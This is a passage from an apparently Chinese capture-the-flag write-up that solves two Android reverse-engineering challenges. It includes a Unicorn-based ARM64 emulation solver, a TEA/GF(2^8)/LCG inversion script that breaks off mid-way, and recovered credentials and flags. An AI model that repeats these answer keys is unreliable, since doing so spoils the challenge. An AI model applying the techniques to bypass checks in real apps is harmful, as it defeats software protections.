username = bytes(marker[i] ^ mask[i] for i in range(10)).decode()当前附件恢复结果:
zkp_master
密码由三段字符串拼接:
Zkp_ + M_as + t3er
得到:
Zkp_M_ast3er
4. 第一关是一个可逆的 Feistel 风格校验
第一关内部仍然是固定模板,但这次最关键的几个参数不该写死,而应该直接从 CHECK_CH1 的机器码里提取:
- LFSR seed
- 4 个 round key 常量
- 最终比较目标值
当前附件里提取出的参数分别是:
seed = 0x2161
const0 = 0xd5d86bc8
const1 = 0xee944448
const2 = 0xedca8a96
const3 = 0x3b4c2f80
target = 0x66ab7b49拿到这些参数后,直接对这段 Feistel 风格变换做逆运算,就能恢复第一关输入。脚本里随后还会把结果重新交给真实 CHECK_CH1 复验,确保不是静态推导写偏。
当前附件第一关结果:
5827A462
5. 第二关直接让 native 自己生成
第二关没必要纯静态手推,直接调用 native 里的生成函数 FN_MAKE_CH2(0x4034) 即可得到真实答案,再交给 CHECK_CH2 校验。
当前附件第二关结果:
5c44540653d49a8066ac3e1ea04da5d1
第二关通过后,native 会把中间 token 写进全局缓冲区。
当前附件 token:
1dae0a8f1f76671bf03701dfc420d400
6. 第三关的关键是附件内的 64 位异或常量
第三关并不是题面提示的那套“Blum square root modulo N”,真实逻辑是:
- 取
token前 8 字节 - 按 native 的方式打包成 64 位整数
- 与一个 64 位常量异或
- 对结果做
sha256 - 取十六进制前 16 个字符作为第三关答案
也就是:
packed = pack(token[:8])
mixed = packed ^ xor_const
challenge3 = sha256(mixed.to_bytes(8, "little")).hex()[:16]这里最关键的点是:xor_const 不是固定值,应该从当前附件的 CHECK_CH3 机器码里动态提取。
当前附件提取出的常量是:
0xe445f13ff7329ca2
因此第三关答案为:
d725f8d3e451aa97
7. 最终 flag 通过 native 生成
最后调用 native 里的 flag 生成函数即可。
需要注意的是,JNI wrapper 会维护 ChallengeState 中的计数器和三个位标记:
state[0:4]:已通过关卡计数state[4]:challenge1 已通过state[5]:challenge2 已通过state[6]:challenge3 已通过
如果只调 core、不补这些状态位,generateFlag 会失败。
补齐状态后,当前附件得到:
ISCC{610e36ee825c8c58e5b2a067a85ced8d10fdfbc0bc6dc82e}
通用脚本
下面这份脚本是按“同一 native 模板,附件内嵌数据可变化”的思路写的:
- 不写死当前附件的
challenge1参数 - 不写死当前附件的
challenge2 - 不写死当前附件的
token - 不写死当前附件的
challenge3 xor 常量 - 不写死当前附件的
flag
依赖:
pip install pyelftools unicorn
运行方式:
python3 attachment-25-generic-exp.py /path/to/attachment-25.apk
也可以在 APK 所在目录直接运行:
python3 attachment-25-generic-exp.py
exp.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import hashlib
import json
import struct
import sys
import zipfile
from pathlib import Path
try:
from elftools.elf.elffile import ELFFile
from unicorn import UC_ARCH_ARM64, UC_ERR_OK, UC_HOOK_CODE, UC_MODE_ARM, Uc, UcError
from unicorn.arm64_const import *
except ImportError as exc:
raise SystemExit(
"Missing dependency. Install pyelftools and unicorn first:\n"
"pip install pyelftools unicorn"
) from exc
RET_ADDR = 0xDEAD0000
HEAP_BASE = 0x1000000
STACK_BASE = 0x2000000
STACK_SIZE = 0x100000
# Same native template, per-attachment embedded data changes.
FN_NATIVE_INIT = 0x1DE4
FN_ALLOC_AUTH = 0x297C
FN_ALLOC_STATE = 0x2E84
FN_LOGIN_CORE = 0x2A0C
FN_CHECK_CH1_CORE = 0x336C
FN_MAKE_CH2 = 0x4034
FN_CHECK_CH2_CORE = 0x3C4C
FN_CHECK_CH3_CORE = 0x43D0
FN_GEN_FLAG_CORE = 0x2F14
# Offsets inside JNI wrappers / core for the current template.
OFF_INIT_ADRP_AUTH = 0x78
OFF_INIT_ADRP_STATE = 0xB0
OFF_INIT_ADRP_READY = 0x1C0
OFF_CH3_TOKEN_ADRP = 0x50
OFF_CH1_SEED_MOV = 0x118
OFF_CH1_CONST_MOVS = (0x188, 0x1A4, 0x1C0, 0x1DC)
OFF_CH1_TARGET_MOV = 0x298
CH1_SBOX = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9, 0, 7]
CH1_LFSR_POLY = 0xB400
def align_down(value: int, alignment: int = 0x1000) -> int:
return value & ~(alignment - 1)
def align_up(value: int, alignment: int = 0x1000) -> int:
return (value + alignment - 1) & ~(alignment - 1)
def sha256(data: bytes) -> bytes:
return hashlib.sha256(data).digest()
def first_apk() -> Path:
apks = sorted(Path(".").glob("*.apk"))
if not apks:
raise SystemExit("No APK found in current directory. Pass the APK path explicitly.")
return apks[0]
def read_so_from_apk(apk_path: Path) -> tuple[bytes, str]:
with zipfile.ZipFile(apk_path, "r") as zf:
candidates = [name for name in zf.namelist() if name.endswith("/libzkpcore.so")]
if not candidates:
raise SystemExit("libzkpcore.so not found in APK.")
preferred = "lib/arm64-v8a/libzkpcore.so"
so_name = preferred if preferred in candidates else candidates[0]
return zf.read(so_name), so_name
class ELFFileBytes:
def __init__(self, data: bytes):
from io import BytesIO
self.bio = BytesIO(data)
self.elf = None
def __enter__(self):
self.elf = ELFFile(self.bio)
return self.elf
def __exit__(self, exc_type, exc, tb):
self.bio.close()
def extract_rodata(so_bytes: bytes) -> bytes:
with ELFFileBytes(so_bytes) as elf:
section = elf.get_section_by_name(".rodata")
if section is None:
raise SystemExit(".rodata not found in libzkpcore.so.")
return section.data()
def read_u32_le(blob: bytes, offset: int) -> int:
return struct.unpack_from("<I", blob, offset)[0]
def decode_adrp(instr: int, pc: int) -> int:
immlo = (instr >> 29) & 0x3
immhi = (instr >> 5) & 0x7FFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
return (pc & ~0xFFF) + (imm << 12)
def decode_add_imm(instr: int) -> int:
imm12 = (instr >> 10) & 0xFFF
shift = (instr >> 22) & 0x1
return imm12 << (12 if shift else 0)
def is_movz_w(instr: int) -> bool:
return (instr & 0x7F800000) == 0x52800000
def is_movk_w(instr: int) -> bool:
return (instr & 0x7F800000) == 0x72800000
def decode_mov_w(instr: int) -> int:
imm16 = (instr >> 5) & 0xFFFF
hw = (instr >> 21) & 0x3
return imm16 << (hw * 16)
def recover_username(rodata: bytes) -> str:
marker = b"k3y_j4va_k3y!!!!"
off = rodata.find(marker)
if off == -1:
return "zkp_master"
mask = rodata[off + len(marker) : off + len(marker) + 10]
return bytes(marker[i] ^ mask[i] for i in range(10)).decode()
def recover_password(rodata: bytes) -> str:
parts = []
for item in (b"Zkp_", b"M_as", b"t3er"):
if rodata.find(item) == -1:
return "Zkp_M_ast3er"
parts.append(item)
return b"".join(parts).decode()
def challenge1_hex_from_params(
target: int,
consts: tuple[int, int, int, int],
lfsr_seed: int = 0x2161,
sbox: list[int] | None = None,
) -> str:
def lfsr16(x: int) -> int:
bit = x & 1
x >>= 1
if bit:
x ^= CH1_LFSR_POLY
return x & 0xFFFF
def sub_nibbles(x: int) -> int:
sb = CH1_SBOX if sbox is None else sbox
out = 0
for i in range(8):
out |= sb[(x >> (i * 4)) & 0xF] << (i * 4)
return out & 0xFFFFFFFF
def round_f(left: int, key: int) -> int:
value = sub_nibbles(((left << 16) | left) ^ key)
return (value ^ (value >> 16)) & 0xFFFF
rnd = []
seed = lfsr_seed & 0xFFFF
for _ in range(8):
seed = lfsr16(seed)
rnd.append(seed)
keys = [((rnd[2 * i] << 16) | rnd[2 * i + 1]) ^ consts[i] for i in range(4)]
left, right = (target >> 16) & 0xFFFF, target & 0xFFFF
for key in reversed(keys):
old_left = right
old_right = left ^ round_f(old_left, key)
left, right = old_left, old_right
return f"{(right << 16) | left:08X}"
def recover_challenge1_params(so_bytes: bytes) -> dict[str, object]:
with ELFFileBytes(so_bytes) as elf:
text = elf.get_section_by_name(".text")
if text is None:
raise SystemExit(".text not found in libzkpcore.so.")
text_addr = text["sh_addr"]
text_data = text.data()
def word_at(addr: int) -> int:
return read_u32_le(text_data, addr - text_addr)
seed_word = word_at(FN_CHECK_CH1_CORE + OFF_CH1_SEED_MOV)
if not is_movz_w(seed_word):
raise RuntimeError("challenge1 seed movz not found at expected offset")
seed = decode_mov_w(seed_word) & 0xFFFF
consts: list[int] = []
for offset in OFF_CH1_CONST_MOVS:
movz = word_at(FN_CHECK_CH1_CORE + offset)
movk = word_at(FN_CHECK_CH1_CORE + offset + 4)
if not is_movz_w(movz) or not is_movk_w(movk):
raise RuntimeError(f"challenge1 round constant not found at offset {offset:#x}")
consts.append((decode_mov_w(movz) | decode_mov_w(movk)) & 0xFFFFFFFF)
target_movz = word_at(FN_CHECK_CH1_CORE + OFF_CH1_TARGET_MOV)
target_movk = word_at(FN_CHECK_CH1_CORE + OFF_CH1_TARGET_MOV + 4)
if not is_movz_w(target_movz) or not is_movk_w(target_movk):
raise RuntimeError("challenge1 target constant not found at expected offset")
target = (decode_mov_w(target_movz) | decode_mov_w(target_movk)) & 0xFFFFFFFF
return {"seed": seed, "consts": tuple(consts), "target": target}
def recover_movewide_constants(code: bytes) -> list[int]:
words = [read_u32_le(code, offset) for offset in range(0, len(code) - 3, 4)]
found: list[int] = []
i = 0
while i < len(words):
word = words[i]
kind = (word >> 23) & 0x1FF
if kind != 0x1A5:
i += 1
continue
rd = word & 0x1F
hw = (word >> 21) & 0x3
value = ((word >> 5) & 0xFFFF) << (hw * 16)
used = {hw}
j = i + 1
while j < len(words):
word2 = words[j]
kind2 = (word2 >> 23) & 0x1FF
if kind2 != 0x1E5 or (word2 & 0x1F) != rd:
break
hw2 = (word2 >> 21) & 0x3
value &= ~(0xFFFF << (hw2 * 16))
value |= ((word2 >> 5) & 0xFFFF) << (hw2 * 16)
used.add(hw2)
j += 1
if len(used) >= 2:
found.append(value & 0xFFFFFFFFFFFFFFFF)
i = j
return found
def recover_challenge3_constant(so_bytes: bytes) -> int:
with ELFFileBytes(so_bytes) as elf:
text = elf.get_section_by_name(".text")
if text is None:
raise SystemExit(".text not found in libzkpcore.so.")
text_addr = text["sh_addr"]
off = FN_CHECK_CH3_CORE - text_addr
code = text.data()[off : off + 0x180]
constants = recover_movewide_constants(code)
if not constants:
raise RuntimeError("challenge3 constant not found in CHECK_CH3 function.")
counts: dict[int, int] = {}
for value in constants:
counts[value] = counts.get(value, 0) + 1
ranked = sorted(counts.items(), key=lambda item: (-item[1], item[0]))
return ranked[0][0]
def recover_runtime_layout(so_bytes: bytes) -> dict[str, int]:
with ELFFileBytes(so_bytes) as elf:
text = elf.get_section_by_name(".text")
if text is None:
raise SystemExit(".text not found in libzkpcore.so.")
text_addr = text["sh_addr"]
text_data = text.data()
def word_at(addr: int) -> int:
return read_u32_le(text_data, addr - text_addr)
auth_page = decode_adrp(word_at(FN_NATIVE_INIT + OFF_INIT_ADRP_AUTH), FN_NATIVE_INIT + OFF_INIT_ADRP_AUTH)
state_page = decode_adrp(word_at(FN_NATIVE_INIT + OFF_INIT_ADRP_STATE), FN_NATIVE_INIT + OFF_INIT_ADRP_STATE)
ready_page = decode_adrp(word_at(FN_NATIVE_INIT + OFF_INIT_ADRP_READY), FN_NATIVE_INIT + OFF_INIT_ADRP_READY)
token_page = decode_adrp(word_at(FN_CHECK_CH3_CORE + OFF_CH3_TOKEN_ADRP), FN_CHECK_CH3_CORE + OFF_CH3_TOKEN_ADRP)
token_off = decode_add_imm(word_at(FN_CHECK_CH3_CORE + OFF_CH3_TOKEN_ADRP + 4))
return {
"init_done": ready_page + 0x18,
"auth_ptr": auth_page + 0x20,
"state_ptr": state_page + 0x28,
"token_buf": token_page + token_off,
}
class NativeEmulator:
def __init__(self, so_bytes: bytes):
self.mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
self.heap = HEAP_BASE
self.trace: list[int] = []
with ELFFileBytes(so_bytes) as elf:
for seg in elf.iter_segments():
if seg["p_type"] != "PT_LOAD":
continue
va = seg["p_vaddr"]
memsz = seg["p_memsz"]
start = align_down(va)
end = align_up(va + memsz)
try:
self.mu.mem_map(start, end - start)
except UcError:
pass
self.mu.mem_write(va, seg.data()[: seg["p_filesz"]])
self.mu.mem_map(HEAP_BASE, 0x400000)
self.mu.mem_map(STACK_BASE, STACK_SIZE)
self.mu.mem_map(align_down(RET_ADDR), 0x1000)
self.hooks = {
0x5AF0: self.h_log,
0x5B00: self.h_stack_fail,
0x5B10: self.h_calloc,
0x5B20: self.h_memset,
0x5B30: self.h_free,
0x5B40: self.h_strcmp,
0x5B50: self.h_strlen,
0x5B60: self.h_memcpy,
0x5B70: self.h_strcpy,
0x5B80: self.h_strcat,
0x5BA0: self.h_strtoul,
0x5BB0: self.h_strncpy,
0x5BC0: self.h_strncpy,
0x5CE0: self.h_new_array,
0x5CF0: self.h_free,
0x2D88: self.h_vsnprintf_wrapper,
0x3270: self.h_vsnprintf_wrapper,
0x42D4: self.h_vsnprintf_wrapper,
0x4E58: self.h_sha256,
0x59CC: self.h_hex,
}
self.mu.hook_add(UC_HOOK_CODE, self.hook_code)
def reg(self, register: int) -> int:
return self.mu.reg_read(register)
def setreg(self, register: int, value: int) -> None:
self.mu.reg_write(register, value & ((1 << 64) - 1))
def hook_code(self, mu, address, size, user_data):
self.trace.append(address)
self.trace = self.trace[-40:]
if address == RET_ADDR:
raise UcError(UC_ERR_OK)
handler = self.hooks.get(address)
if handler:
handler()
self.ret()
def ret(self) -> None:
self.setreg(UC_ARM64_REG_PC, self.reg(UC_ARM64_REG_LR))
def malloc(self, size: int) -> int:
ptr = align_up(self.heap, 0x10)
self.heap = ptr + align_up(size, 0x10)
return ptr
def alloc_str(self, text: str | bytes) -> int:
data = text.encode() if isinstance(text, str) else text
ptr = self.malloc(len(data) + 1)
self.mu.mem_write(ptr, data + b"\x00")
return ptr
def cstr(self, address: int, limit: int = 0x10000) -> bytes:
out = bytearray()
for i in range(limit):
b = self.mu.mem_read(address + i, 1)[0]
if b == 0:
break
out.append(b)
return bytes(out)
def cstr_text(self, address: int) -> str:
return self.cstr(address).decode("utf-8", "replace")
def write_cstr(self, address: int, data: str | bytes) -> None:
blob = data.encode() if isinstance(data, str) else data
self.mu.mem_write(address, blob + b"\x00")
def call(self, address: int, *args: int) -> int:
regs = [
UC_ARM64_REG_X0,
UC_ARM64_REG_X1,
UC_ARM64_REG_X2,
UC_ARM64_REG_X3,
UC_ARM64_REG_X4,
UC_ARM64_REG_X5,
UC_ARM64_REG_X6,
UC_ARM64_REG_X7,
]
for reg, arg in zip(regs, args):
self.setreg(reg, arg)
self.setreg(UC_ARM64_REG_SP, STACK_BASE + STACK_SIZE // 2)
self.setreg(UC_ARM64_REG_LR, RET_ADDR)
try:
self.mu.emu_start(address, RET_ADDR)
except UcError as exc:
if exc.errno != UC_ERR_OK:
recent = ", ".join(hex(x) for x in self.trace[-12:])
raise RuntimeError(
f"emulation failed at {hex(self.reg(UC_ARM64_REG_PC))}; last={recent}"
) from exc
return self.reg(UC_ARM64_REG_X0)
def h_log(self):
self.setreg(UC_ARM64_REG_X0, 0)
def h_stack_fail(self):
raise RuntimeError("native stack check failed")
def h_calloc(self):
size = self.reg(UC_ARM64_REG_X0) * self.reg(UC_ARM64_REG_X1)
ptr = self.malloc(size)
self.mu.mem_write(ptr, b"\x00" * size)
self.setreg(UC_ARM64_REG_X0, ptr)
def h_new_array(self):
ptr = self.malloc(self.reg(UC_ARM64_REG_X0))
self.setreg(UC_ARM64_REG_X0, ptr)
def h_free(self):
self.setreg(UC_ARM64_REG_X0, 0)
def h_memset(self):
dst = self.reg(UC_ARM64_REG_X0)
val = self.reg(UC_ARM64_REG_W1) & 0xFF
size = self.reg(UC_ARM64_REG_X2)
self.mu.mem_write(dst, bytes([val]) * size)
self.setreg(UC_ARM64_REG_X0, dst)
def h_memcpy(self):
dst = self.reg(UC_ARM64_REG_X0)
src = self.reg(UC_ARM64_REG_X1)
size = self.reg(UC_ARM64_REG_X2)
self.mu.mem_write(dst, bytes(self.mu.mem_read(src, size)))
self.setreg(UC_ARM64_REG_X0, dst)
def h_strlen(self):
self.setreg(UC_ARM64_REG_X0, len(self.cstr(self.reg(UC_ARM64_REG_X0))))
def h_strcmp(self):
left = self.cstr(self.reg(UC_ARM64_REG_X0))
right = self.cstr(self.reg(UC_ARM64_REG_X1))
self.setreg(UC_ARM64_REG_X0, 0 if left == right else 1)
def h_strcpy(self):
dst = self.reg(UC_ARM64_REG_X0)
self.write_cstr(dst, self.cstr(self.reg(UC_ARM64_REG_X1)))
self.setreg(UC_ARM64_REG_X0, dst)
def h_strcat(self):
dst = self.reg(UC_ARM64_REG_X0)
self.write_cstr(dst, self.cstr(dst) + self.cstr(self.reg(UC_ARM64_REG_X1)))
self.setreg(UC_ARM64_REG_X0, dst)
def h_strncpy(self):
dst = self.reg(UC_ARM64_REG_X0)
src = self.reg(UC_ARM64_REG_X1)
size = self.reg(UC_ARM64_REG_X2)
data = self.cstr(src, size)[:size]
self.mu.mem_write(dst, data + b"\x00" * max(0, size - len(data)))
self.setreg(UC_ARM64_REG_X0, dst)
def h_strtoul(self):
text = self.cstr_text(self.reg(UC_ARM64_REG_X0)).strip()
base = self.reg(UC_ARM64_REG_X2) or 10
try:
value = int(text, base)
except ValueError:
value = 0
self.setreg(UC_ARM64_REG_X0, value)
def h_vsnprintf_wrapper(self):
dst = self.reg(UC_ARM64_REG_X0)
size = self.reg(UC_ARM64_REG_X1)
fmt = self.cstr_text(self.reg(UC_ARM64_REG_X3))
if fmt == "%s%s%s":
out = (
self.cstr(self.reg(UC_ARM64_REG_X4))
+ self.cstr(self.reg(UC_ARM64_REG_X5))
+ self.cstr(self.reg(UC_ARM64_REG_X6))
)
elif fmt == "%s/hint.txt":
out = self.cstr(self.reg(UC_ARM64_REG_X4)) + b"/hint.txt"
elif fmt == "ISCC{%s}":
out = b"ISCC{" + self.cstr(self.reg(UC_ARM64_REG_X4)) + b"}"
else:
raise RuntimeError(f"unsupported native format string: {fmt!r}")
self.mu.mem_write(dst, out[: max(0, size - 1)] + b"\x00")
self.setreg(UC_ARM64_REG_X0, len(out))
def h_sha256(self):
src = self.reg(UC_ARM64_REG_X0)
size = self.reg(UC_ARM64_REG_X1)
dst = self.reg(UC_ARM64_REG_X2)
self.mu.mem_write(dst, sha256(bytes(self.mu.mem_read(src, size))))
self.setreg(UC_ARM64_REG_X0, dst)
def h_hex(self):
src = self.reg(UC_ARM64_REG_X0)
size = self.reg(UC_ARM64_REG_X1)
dst = self.reg(UC_ARM64_REG_X2)
self.mu.mem_write(dst, bytes(self.mu.mem_read(src, size)).hex().encode() + b"\x00")
self.setreg(UC_ARM64_REG_X0, dst)
def discover_challenge1_via_native(
emu: NativeEmulator,
rodata: bytes,
seed: int,
consts: tuple[int, int, int, int],
) -> str:
def try_targets(targets: set[int]) -> str | None:
for target in sorted(targets):
cand = challenge1_hex_from_params(target, consts, lfsr_seed=seed)
test_state = emu.call(FN_ALLOC_STATE)
if emu.call(FN_CHECK_CH1_CORE, emu.alloc_str(cand), test_state) == 1:
return cand
return None
aligned = {
struct.unpack_from("<I", rodata, off)[0]
for off in range(0, len(rodata) - 3, 4)
}
hit = try_targets(aligned)
if hit is not None:
return hit
unaligned = {
struct.unpack_from("<I", rodata, off)[0]
for off in range(0, len(rodata) - 3)
}
hit = try_targets(unaligned - aligned)
if hit is not None:
return hit
for off in range(0, len(rodata) - 20):
consts = struct.unpack_from("<IIII", rodata, off)
target = struct.unpack_from("<I", rodata, off + 16)[0]
cand = challenge1_hex_from_params(target, consts, lfsr_seed=seed)
test_state = emu.call(FN_ALLOC_STATE)
if emu.call(FN_CHECK_CH1_CORE, emu.alloc_str(cand), test_state) == 1:
return cand
raise RuntimeError("challenge1 candidate not found in .rodata scan")
def recover_challenge3(token: str, xor_const: int) -> str:
packed = 0
for byte in token.encode()[:8]:
packed = ((packed & ((1 << 56) - 1)) << 8) | byte
mixed = packed ^ xor_const
return sha256(mixed.to_bytes(8, "little")).hex()[:16]
def solve(apk_path: Path) -> dict[str, object]:
so_bytes, so_name = read_so_from_apk(apk_path)
rodata = extract_rodata(so_bytes)
globals_info = recover_runtime_layout(so_bytes)
xor_const = recover_challenge3_constant(so_bytes)
ch1_params = recover_challenge1_params(so_bytes)
username = recover_username(rodata)
password = recover_password(rodata)
emu = NativeEmulator(so_bytes)
auth = emu.call(FN_ALLOC_AUTH)
state = emu.call(FN_ALLOC_STATE)
emu.mu.mem_write(globals_info["init_done"], b"\x01")
emu.mu.mem_write(globals_info["auth_ptr"], struct.pack("<Q", auth))
emu.mu.mem_write(globals_info["state_ptr"], struct.pack("<Q", state))
login_ok = emu.call(FN_LOGIN_CORE, auth, emu.alloc_str(username), emu.alloc_str(password))
if login_ok != 1:
raise RuntimeError(f"native login failed for {username!r}/{password!r}")
challenge1 = challenge1_hex_from_params(
int(ch1_params["target"]),
tuple(ch1_params["consts"]),
lfsr_seed=int(ch1_params["seed"]),
)
if emu.call(FN_CHECK_CH1_CORE, emu.alloc_str(challenge1), emu.call(FN_ALLOC_STATE)) != 1:
challenge1 = discover_challenge1_via_native(
emu,
rodata,
int(ch1_params["seed"]),
tuple(ch1_params["consts"]),
)
if emu.call(FN_CHECK_CH1_CORE, emu.alloc_str(challenge1), state) != 1:
raise RuntimeError(f"challenge1 check failed: {challenge1}")
emu.mu.mem_write(state, struct.pack("<I", 1) + b"\x01\x00\x00")
ch2_buf = emu.malloc(64)
emu.call(FN_MAKE_CH2, ch2_buf)
challenge2 = emu.cstr_text(ch2_buf)
if emu.call(FN_CHECK_CH2_CORE, emu.alloc_str(challenge2), state) != 1:
raise RuntimeError(f"challenge2 check failed: {challenge2}")
emu.mu.mem_write(state, struct.pack("<I", 2) + b"\x01\x01\x00")
token = emu.cstr_text(globals_info["token_buf"])
challenge3 = recover_challenge3(token, xor_const)
if emu.call(FN_CHECK_CH3_CORE, emu.alloc_str(challenge3), emu.alloc_str(token), state) != 1:
raise RuntimeError(f"challenge3 check failed: {challenge3}")
emu.mu.mem_write(state, struct.pack("<I", 3) + b"\x01\x01\x01")
flag_buf = emu.malloc(256)
gen_ok = emu.call(FN_GEN_FLAG_CORE, state, auth, flag_buf, 0x80)
if gen_ok != 1:
raise RuntimeError("native flag generation failed")
return {
"apk": str(apk_path),
"so": so_name,
"username": username,
"password": password,
"challenge1": challenge1,
"challenge2": challenge2,
"intermediate_token": token,
"challenge3_xor_const": f"0x{xor_const:016x}",
"challenge3": challenge3,
"flag": emu.cstr_text(flag_buf),
}
def main() -> None:
parser = argparse.ArgumentParser(description="Generic solver for the ISCC MOBILE challenge template used by attachment-25.apk.")
parser.add_argument("apk", nargs="?", type=Path, help="APK path, defaults to first *.apk in cwd")
parser.add_argument("--json", action="store_true", help="print JSON instead of key: value lines")
parser.add_argument("--write-flag", action="store_true", help="write recovered flag to flag.txt")
args = parser.parse_args()
apk_path = args.apk or first_apk()
result = solve(apk_path)
if args.json:
print(json.dumps(result, ensure_ascii=False, indent=2))
else:
for key in (
"apk",
"so",
"username",
"password",
"challenge1",
"challenge2",
"intermediate_token",
"challenge3_xor_const",
"challenge3",
"flag",
):
print(f"{key}: {result[key]}")
if args.write_flag:
Path("flag.txt").write_text(str(result["flag"]) + "\n", encoding="utf-8")
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"error: {exc}", file=sys.stderr)
raise SystemExit(1) from exc脚本验证
当前附件实跑输出如下:
apk: /tmp/attachment-25.apk
so: lib/arm64-v8a/libzkpcore.so
username: zkp_master
password: Zkp_M_ast3er
challenge1: 5827A462
challenge2: 5c44540653d49a8066ac3e1ea04da5d1
intermediate_token: 1dae0a8f1f76671bf03701dfc420d400
challenge3_xor_const: 0xe445f13ff7329ca2
challenge3: d725f8d3e451aa97
flag: ISCC{610e36ee825c8c58e5b2a067a85ced8d10fdfbc0bc6dc82e}总结
这题本质上不是“盯着题面提示做数学”,而是:
- 识别 JNI 入口和 native 核心函数;
- 用模拟执行替代繁琐的纯手工推导;
- 把会随附件变化的值全部从 APK/so 里动态提取出来;
- 最终直接调用 native 生成 flag。
如果附件还是同一模板,只改了部分字符串、seed、challenge3 常量,这份脚本可以继续直接出对应附件的 flag。
0x2 密码验证
题目描述
题目为 Android APK。Java 层只限制输入格式,真实校验在 JNI 中。题目通过 assets 中的 cipher 与 puzzle 数据驱动校验流程,附件中的关键数据变化会直接影响最终 flag,因此需要根据当前附件离线恢复结果,而不是硬编码固定 flag。
TL;DR
APK 的 Java 层只检查 ISCC{...} 包裹格式,实际 flag 恢复依赖 native 校验链。题目把中间 30 字节拆成 8 + 12 + 10 三段,分别受 TEA、GF(2^8) 矩阵和 LCG 异或流约束;同时 puzzle.bin 与两处字符映射约束把三段结果绑定在一起。由于密文与约束数据来自附件 assets,flag 会随附件变化,EXP 需要从当前 APK 动态计算。
解题过程
步骤 1 - 定位校验入口
关键观察
先看 Java/Kotlin 层,只能得到外层格式条件:总长度 36、前缀 ISCC{、后缀 }。真正的逻辑在 NativeBridge.verifyFlag,因此后续全部围绕 libnativecrypto.so 与 assets 分析。
步骤 2 - 还原 native 三段主约束
关键观察
JNI 会读取 cipher1.bin、cipher2.bin、cipher3.bin、puzzle.bin。先把 native 内置的三组 16 字节静态表按统一规则解码,再生成 3 个中间状态:第一组作为 TEA 密钥来源,第二组作为 GF(2^8) 线性变换矩阵,第三组作为前缀异或链与 LCG 种子来源。这样即可把 30 字节中段拆成 8 + 12 + 10 三段分别逆出。
步骤 3 - 恢复前 8 字节
关键观察
对 cipher1.bin 做 16 轮 TEA 逆运算,再与由中间状态导出的 8 字节掩码异或,得到中段前 8 字节。这个步骤不会依赖固定 flag,而是直接依赖当前附件里的 cipher1.bin。
步骤 4 - 恢复中间 12 字节
关键观察
把 GF(2^8) 线性变换矩阵求逆,对 cipher2.bin 按 3 行 4 列做逆变换,得到中段的 12 字节。native 中使用的乘法规则与 AES 常见有限域乘法一致,因此可以稳定脚本化恢复。
步骤 5 - 恢复最后 10 字节并做一致性校验
关键观察
用前面导出的 64 位种子跑 LCG 伪随机流,与 cipher3.bin 异或得到最后 10 字节。然后再用 puzzle.bin 的 4 行有限域校验、前 8 字节整体异或得到的字符映射、以及前 20 字节的 xor/sum 映射,验证三段是否属于同一份合法输入。
步骤 6 - 拼接最终 flag
关键观察
三段都恢复并通过附加约束后,直接拼回 ISCC{<30-byte-body>}。EXP 对当前 APK 重新读取 assets 并计算,因此同模板下只要附件内容变化,脚本会自动给出新的 flag。
最终验证
对当前附件运行通用 EXP 后,得到结果:ISCC{fPmuXTY)wNdLx985JbsSiz!!{4na7R}。
附录:EXP
#!/usr/bin/env python3
import sys
import zipfile
from functools import reduce
RAW_X = bytes.fromhex("5384792a17483deedb0c01b29fd0b566")
RAW_Y = bytes.fromhex("6e6d6d6d6d6e6d6d6d6d6e6d6d6d6d6e")
RAW_Z = bytes.fromhex("03f4a99a5e8b7c31224f40e5d66db7ca")
SBOX = bytes.fromhex(
"637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0"
"b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275"
"09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf"
"d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2"
"cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb"
"e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08"
"ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e"
"e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16"
)
CHARSET = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_-!@#$%^&*()[]<>?.,:;+/\\"
def gf_mul(a: int, b: int) -> int:
out = 0
while b:
if b & 1:
out ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi:
a ^= 0x1B
b >>= 1
return out
def tea_decrypt_block(block: bytes, key: bytes) -> bytes:
v0 = int.from_bytes(block[:4], "big")
v1 = int.from_bytes(block[4:], "big")
words = [int.from_bytes(key[i : i + 4], "big") for i in range(0, 16, 4)]
delta = 0x9E3779B9
total = (delta * 16) & 0xFFFFFFFF
for _ in range(16):
v1 = (v1 - (((v0 << 4) + words[2]) ^ (v0 + total) ^ ((v0 >> 5) + words[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + words[0]) ^ (v1 + total) ^ ((v1 >> 5) + words[1]))) & 0xFFFFFFFF
total = (total - delta) & 0xFFFFFFFF
return v0.to_bytes(4, "big") + v1.to_bytes(4, "big")
def lcg_stream(seed: int, length: int) -> bytes:
state = seed
out = bytearray()
for _ in range(length):
state = (state * 0x5851F42D4C957F2D + 0x14057B7EF767814F) & 0xFFFFFFFFFFFFFFFF
out.append((state >> 24) & 0xFF)
return bytes(out)
def decode_static_table(raw: bytes) -> bytes:
return bytes((((byte - 0x13) & 0xFF) ^ 0x5A) for byte in raw)
def build_xyz() -> tuple[bytes, bytes, bytes]:
t1 = decode_static_table(RAW_X)
t2 = decode_static_table(RAW_Y)
t3 = decode_static_table(RAW_Z)
x = bytes((a ^ b) & 0xFF for a, b in zip(t1, t3))
x = x[3:] + x[:3]
mx = [list(x[i * 4 : (i + 1) * 4]) for i in range(4)]
mt = [list(t2[i * 4 : (i + 1) * 4]) for i in range(4)]
prod = [[0] * 4 for _ in range(4)]
for row in range(4):
for col in range(4):
for k in range(4):
prod[row][col] ^= gf_mul(mt[row][k], mx[k][col])
y_rows = [prod[2], prod[3], prod[0], prod[1]]
y = bytes(byte for row in y_rows for byte in row)
z = bytearray(SBOX[x[i] ^ y[i] ^ t3[i]] for i in range(16))
for i in range(1, 16):
z[i] ^= z[i - 1]
return x, y, bytes(z)
